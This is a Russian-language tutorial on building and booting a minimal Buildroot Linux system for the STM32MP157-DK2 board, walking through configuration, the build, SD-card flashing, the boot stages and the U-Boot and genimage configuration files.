Важно отметить, что Buildroot не поставляется с исходными кодами Linux, с U-Boot или с другими компонентами. Он всего лишь содержит набор скриптов и инструкций, описывающих, какой исходный код загружать и какие настройки использовать при сборке.

Как собрать Linux-систему с Buildroot?


Начнём с установки самой системы Buildroot, а потом перейдём к её настройке:

git clone git://git.buildroot.net/buildrootcd buildroot

Обычно настройка Buildroot делается с помощью команды make menuconfig, которая позволяет указать необходимые опции для вашей системы. Но мы вместо этого используем свою конфигурацию, которую мы создали заранее специально для STM32MP157-DK2. Она находится в моём репозитории.

git remote add tpetazzoni https://github.com/tpetazzoni/buildroot.gitgit fetch tpetazzonigit checkout -b stm32mp157-dk2 tpetazzoni/2019.02/stm32mp157-dkА теперь дадим Buildrootу команду использовать нашу конфигурацию.make stm32mp157_dk_defconfig

Мы могли бы сразу приступить к сборке, так как эта конфигурация работает нормально. Но здесь я хочу показать, как можно изменить конфигурацию и ускорить сборку. Мы изменим всего один параметр. Для этого запустим утилиту menuconfig (она встроена в Buildroot). Если кто-то из вас уже настраивал ядро Linux, этот инструмент должен быть вам интуитивно понятен, поскольку это просто утилита для настройки.

make menuconfig

Если команда не сможет работать из-за отсутствия библиотеки ncurses, установите пакет libncurses-dev или ncurses-devel (точное название пакета будет зависеть от версии Linux ОС, на которой вы запускаете Buildroot). Библиотека ncurses предназначена для управления вводом-выводом на терминал.

Успешно выполнив menuconfig, перейдём в подменю Toolchain. По умолчанию в Toolchain Type выбрана опция . Нужно изменить её на , нажав ENTER.

Дело в том, что по умолчанию Buildroot использует собственный кросс-компилятор. Выбрав опцию , мы можем использовать более шустрый кросс-компилятор, специально заточенный под архитектуру ARMv7.


Выходим из menuconfig и сохраняем изменения. Теперь пришло время поработать с командой make. Я люблю всё логировать, поэтому она будет выглядеть вот так:

make 2>&1 | tee build.log

На этом этапе система сборки Buildroot проверит наличие всех необходимых пакетов. Если чего-то не обнаружит, то выполнение команды прервётся. Если это произойдёт, на сайте Buildroot посмотрите раздел System requirements > Mandatory packages и установите все необходимые зависимости. После этого можно запускать команду заново.

На моей машине команда make работала 10 минут. После сборки появится набор каталогов и файлов (самое интересное лежит в output/images):

  • output/images/zImage: здесь лежит ядро Linux;

  • output/images/stm32mp157c-dk2.dtb: блоб-файл дерева устройств (Device Tree Blob);
  • output/images/rootfs.{ext4,ext2}: файл-образ корневой файловой системы ext4, которая на сегодняшний день является самой популярной;

  • output/images/u-boot-spl.stm32: загрузчик первой стадии;

  • output/images/u-boot.img: загрузчик второй стадии;

  • output/images/sdcard.img: финальный образ для SD-карты, сгенерированный на основе предыдущих образов.

Прошивка и тестирование системы


Запишем sdcard.img на карту microSD:

sudo dd if=output/images/sdcard.img of=/dev/mmcblk0 bs=1M conv=fdatasync status=progress

Не забудьте проверить, что в вашей системе карта microSD определяется как /dev/mmcblk0 (и на всякий случай предупреждаю: после того, вы запишете туда образ, вся информация на этой карточке будет затёрта)!

Подключите карту к микроконтроллеру.

Соедините USB-кабелем ваш компьютер и micro-USB разъём с надписью ST-LINK CN11 на плате. Ваша машина должна распознать устройство с именем /dev/ttyACM0, через которое вы сможете получить доступ к последовательному порту платы. Установите на свой компьютер и запустите программу для общения с последовательным портом. Лично мне очень нравится picocom:

picocom -b 115200 /dev/ttyACM0

Он подходит для embedded-систем, так как занимает минимальный объём памяти (менее 20 КБ) и имеет подробную документацию.

Наконец, включите плату, воткнув кабель USB-C в разъём PWR_IN CN6. Затем на последовательный порт начнут приходить сообщения. Нам важно, что в конце появится приглашение залогиниться в системе Buildroot. Можно войти в систему с пользователем root, пароль вводить не нужно.


Этапы загрузки системы и вход


Рассмотрим основные этапы процесса загрузки, изучая сообщения, которые приходят на последовательный порт:

U-Boot SPL 2018.11-stm32mp-r2.1 (Apr 24 2019  10:37:17 +0200)

Это сообщение от загрузчика первой стадии: код, содержащимся в файле u-boot-spl.stm32 скомпилирован как часть загрузчика U-Boot. Его непосредственно загружает STM32MP157. Загрузчик первой стадии должен быть достаточно маленьким, чтобы поместиться во внутреннюю память STM32MP157.

U-Boot 2018.11-stm32mp-r2.1 (Apr 24 2019  10:37:17 +0200)

Это сообщение от загрузчика второй стадии, который был выгружен из внутренней памяти устройства во внешнюю память загрузчиком первой стадии. Загрузчик второй стадии это файл u-boot.img, который также является частью загрузчика U-Boot.

Retrieving file: /boot/zImageRetrieving file: /boot/stm32mp157c-dk2.dtb

Эти сообщения печатает загрузчик второй стадии: мы видим, что он загрузил образ ядра Linux (файл zImage) и блоб дерева устройств (файл stm32mp157c-dk2.dtb), описывающий нашу аппаратную платформу. Хорошо, U-Boot загрузил оба файла в память: теперь он готов к запуску ядра Linux.

Starting kernel ...Это последнее сообщение U-Boot, после этого управление передаётся ядру.[  0.000000] Booting Linux on physical CPU 0x0[  0.000000] Linux version 4.19.26 (thomas@windsurf) (gcc version 8.2.1 20180802 (GNU Toolchain for the A-profile Architecture 8.2-2018.11 (arm-rel-8.26))) #1 SMP PREEMPT Wed Apr 24 10:38:00 CEST 2019

И сразу появляются первые сообщения ядра Linux, показывающие версию Linux и дату/время сборки. Далее идут другие, не слишком интересные сообщения Нам нужно дождаться вот этого:

[  3.248315] VFS: Mounted root (ext4 filesystem) readonly on device 179:4.

Это сообщение указывает на то, что ядро смонтировало корневую файловую систему. После этого ядро запустит первый пользовательский процесс. Поэтому следующие сообщения будут связаны с инициализацией пользовательских служб:

Starting syslogd: OK[...]Welcome to Buildrootbuildroot login:

И вот, наконец, появляется то самое сообщение от Buildroot с просьбой залогиниться.

После входа в систему вы получите доступ к командной оболочке Linux. Введя команду ps, можно посмотреть список процессов, команда ls/ покажет содержимое корневой файловой системы и так далее.

Также можно немного поиграться с платой например, включить и выключить один из светодиодов:

echo 255 > /sys/class/leds/heartbeat/brightnessecho 0 > /sys/class/leds/heartbeat/brightness

Как сделать это с нуля?


Углубляемся в основы конфигурирования Buildroot


В начале статьи мы говорили про настройку и оптимизацию конфигурации Buildroot. По идее, для этого нужно сначала изучить основы конфигурирования в этой системе. Поэтому вернёмся в прошлое к команде make menuconfig.

В меню Target options выбрана архитектура ARM Little Endian, а в Target Architecture Variant указан Cortex-A7. На этом процессоре как раз построен наш микроконтроллер.

В меню Build options используем все значения по умолчанию.

Как я писал выше, в меню Toolchain вместо кросс-компилятора по умолчанию был выбран пункт <External toolchain>.

В меню System configuration мы произвели следующие изменения:

  1. Оверлей-каталоги корневой файловой системы определены как board/stmicroelectronics/stm32mp157-dk/overlay/. Эта опция сообщает Buildroot, что содержимое этого каталога должно быть скопировано в корневую файловую систему в конце сборки. Такой подход позволяет добавлять собственные файлы в корневую файловую систему.

  2. Для пользовательских скриптов, запускаемых после создания образов файловой системы, задано значение support/scripts/genimage.sh, а для параметра Extra arguments, передаваемого в пользовательские скрипты, задано значение -c board/stmicroelectronics/stm32mp157-dk/genimage.cfg. Это означает, что Buildroot должен вызвать скрипт genimage.sh в самом конце сборки: его цель сгенерировать финальный образ для SD-карты, который мы уже использовали.

В меню Kernel мы выбрали версию Linux и путь для конфигурации ядра:

  1. Мы загрузили исходники ядра Linux с Github с помощью макроса Buildroot под названием github. В соответствии с выбранной версией (v4.19-stm32mp-r1.2), Buildroot пошёл в репозиторий (https://github.com/STMicroelectronics/linux/) и загрузил оттуда ядро.

  2. Мы указали путь для конфигурации ядра: board/stmicroelectronics/stm32mp157-dk/linux.config. Конфигурацию ядра также можно кастомизировать для ваших нужд (эта тема выходит за рамки данной статьи).

  3. Мы включили опцию <Build a Device Tree Blob (DTB)> и записали в In-tree Device Tree Source file names имя нашего файла stm32mp157c-dk2. И тогда Buildroot сможет сформировать и использовать дерево устройств именно для нашей платформы.

  4. Мы установили для Install kernel image значение </boot in target>, поэтому образ ядра и дерево устройств будут находится в каталоге/bootкорневой файловой системы. U-Boot будет загружать их как раз оттуда.

В меню Target packages оставили значения по умолчанию: активен только пакет BusyBox. BusyBox очень популярный инструмент для embedded-платформ: это легковесная альтернатива Linux shell и другим инструментам командной строки (cp, mv, ls, vi, wget, tar). Для нашей системы нам хватит одного BusyBox!

В меню Filesystem images активировали ext2/3/4root filesystem и выбрали ext4. Эта файловая система отлично подходит для SD-карт.

Теперь в меню Bootloaders активируем U-Boot, для которого выполняем следующий набор действий:

  1. Загружаем U-Boot из репозитория https://github.com/STMicroelectronics/u-boot.git с Git-тегом v2018.11-stm32mp-r2.1

  2. U-Boot используем с предустановленной конфигурацией stm32mp15_basic, которую мы указываем для нашей платы с помощью defconfig.

  3. Вообще, эта конфигурация предполагает использование сторожевого таймера STM32. Но в нашей минималистичной версии Linux его нет. Поэтому мы пойдём в файл board/stmicroelectronics/stm32mp157-dk/uboot-fragment.config и отключим сторожевой таймер для текущей конфигурации. Если мы захотим расширить возможности нашей Linux-системы и добавить его, то использование таймер нужно вновь разрешить.

  4. Подменю U-Boot binary format: тут нужно предупредить Buildroot, что для загрузчика второй стадии должен быть создан образ u-boot.img, и именно его нужно будет поместить в output/images.

  5. Мы также сообщаем Buildroot, что на базе нашей конфигурации для U-Boot будет собран загрузчик первой стадии (файл spl/u-boot-spl.stm32). Его тоже нужно будет разместить в output/images.

  6. В окружение U-Boot мы добавляем опцию DEVICE_TREE=stm32mp157c-dk2. Она понадобится в процессе сборки U-Boot, чтобы использовать дерево устройств именно для нашей платформы.

  7. В меню Host utilities мы подключаем пакет genimage.

Вся эта конфигурация сохраняется в простом текстовом файле configs/stm32mp157_dk_defconfig, который мы загружали изначально при запуске make stm32mp157_dk_defconfig.

Углубляемся в процесс сборки Buildroot


Надеюсь, после изучения основ конфигурирования стало понятнее, как происходит сборка (для простоты я опустил несколько промежуточных шагов):

  1. Загрузка и установка компилятора с веб-сайта ARM и установка библиотек C и C ++ на нашу корневую файловую систему.

  2. Загрузка исходного кода ядра Linux из репозитория STMicroelectronics, сборка ядра в соответствии с нашей конфигурацией, размещение zImage и stm32mp157c-dk2.dtb в каталоге output/images, размещение корневой файловой системы в каталоге /boot. Кроме того, на этом этапе происходит установка модулей ядра в корневую файловую систему.

  3. Загрузка исходного кода U-Boot из репозитория STMicroelectronics, его сборка в соответствии с нашей конфигурацией, размещение u-boot-spl.stm32 u-boot.img в каталоге output/images.

  4. Загрузка исходного кода Busybox с официального сайта, его сборка в соответствии с нашей конфигурацией и установка в корневую файловую систему.

  5. Копирование содержимого оверлей-каталогов в корневую файловую систему.

  6. Создание ext4-образа корневой файловой системы и его установка в output/images/rootfs.ext4

  7. Вызов скрипта genimage.sh, который сгенерирует образ для SD-карты, output/images/sdcard.img

Теперь давайте посмотрим на файл board/stmicroelectronics/stm32mp157-dk/genimage.cfg, который советует утилите genimage, как нужно правильно генерировать образ для SD-карты:

image sdcard.img {hdimage {gpt = true}partition fsbl1 {image = u-boot-spl.stm32}partition fsbl2 {image = u-boot-spl.stm32}partition uboot {image = u-boot.img}partition rootfs {image = rootfs.ext4partition-type = 0x83bootable = yessize = 256M}}

Какие конкретно указания даны в этом скрипте:

  1. Создать файл sdcard.img

  2. Этот файл должен содержать несколько разделов в соответствии с таблицей GPT partition table. Это нужно, чтобы встроенный ROM микроконтроллера STM32MP157 смог найти загрузчика первой стадии.

  3. Два первых раздела должны называться fsbl1 и fsbl2. Там должен храниться сырой бинарный код загрузчика первой стадии (отмечу, что в разделах не установлено никакой файловой системы). В коде ROM, встроенном в STM32MP157, жёстко прописано: нужно искать загрузчик первой стадии в первых двух разделах с именами, начинающимися с fsbl.

  4. Третий раздел (тоже без файловой системы) с именем uboot, по аналогии с предыдущим пунктом, хранит сырой бинарный файл загрузчика второй стадии. Действительно, загрузчик первой стадии должен найти загрузчика второй стадии в третьем разделе SD-карты (это определено в конфигурации U-Boot и может быть при необходимости изменено ).

  5. Четвёртый раздел содержит образ файловой системы ext4, созданный Buildroot. Этот образ фактически является нашей корневой файловой системой, вместе с BusyBox, стандартными библиотеками C/C ++, а также файлом-образом ядра Linux и блоб-файлом дерева устройств.

Последний раздел помечен как загрузочный (bootable). Это важно, потому что конфигурация U-Boot для аппаратной платформы STM32MP157 по умолчанию следует концепции U-Boot Generic Distro Concept. При загрузке U-Boot будет искать раздел, помеченный как загрузочный, а затем внутри файловой системы, содержащейся в этом разделе, искать файл /boot/extlinux/extlinux.conf, чтобы узнать, как загрузить систему.

Файл extlinux.conf находится внутри оверлей-каталога нашей файловой системы (board/stmicroelectronics/stm32mp157-dk/overlay/boot/extlinux/extlinux.conf), в корневой файловой системе он будет определяться как /boot/extlinux/extlinux.conf и U-Boot легко найдёт его.

Вот что внутри этого файла:

label stm32mp15-buildrootkernel /boot/zImagedevicetree /boot/stm32mp157c-dk2.dtbappend root=/dev/mmcblk0p4 rootwait

Таким образом мы говорим U-Boot, чтобы он загружал образ ядра из /boot/zImage, дерево устройств из /boot/stm32mp157c-dk2.dtb. А строка root=/dev/mmcblk0p4 rootwait должна быть передана ядру Linux во время загрузки. Именно в этом выражении (root=/dev/mmcblk0p4) хранится информация о том, где находится корневая файловая система.

Итак, сформулируем этапы загрузки собранной Linux-системы на нашей аппаратной платформе с учётом новых подробностей:

  1. Встроенный в STM32MP157 ROM ищет разделы GPT, чьи имена начинаются с fsbl. Если успешно, то загружает их содержимое во внутреннюю память STM32 и запускает загрузчик первой стадии.

  2. В соответствии с хардкодом, он обязан загрузить из третьего раздела SD-карты загрузчика второй стадии. Так, загрузчик первой стадии инициализирует внешнюю RAM, грузит в неё загрузчика второй стадии и стартует его.

  3. Загрузчик второй стадии выполняет ещё одну инициализацию, а затем ищет раздел, помеченный как загрузочный (bootable). Он обнаруживает, что таковым является четвёртый раздел. Он загружает файл /boot/extlinux/extlinux.conf, благодаря которому узнаёт, где расположены ядро и дерево устройств. Он загружает их и запускает ядро с аргументами, указанными всё в том же файле extlinux.conf.

  4. Ядро Linux работает до момента монтирования корневой файловой системы, расположение которой указано в параметре root=/dev/mmcblk0p4. После монтирования корневой файловой системы ядро запускает первый пользовательский процесс.

  5. В данном случае первый пользовательский процесс это /sbin/init (спасибо, BusyBox!). Он стартует несколько служб, а потом приглашает пользователя войти (ввести логин).

P.S. Вы можете найти исходный код для Buildroot, использованный в этой статье, вот здесь.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru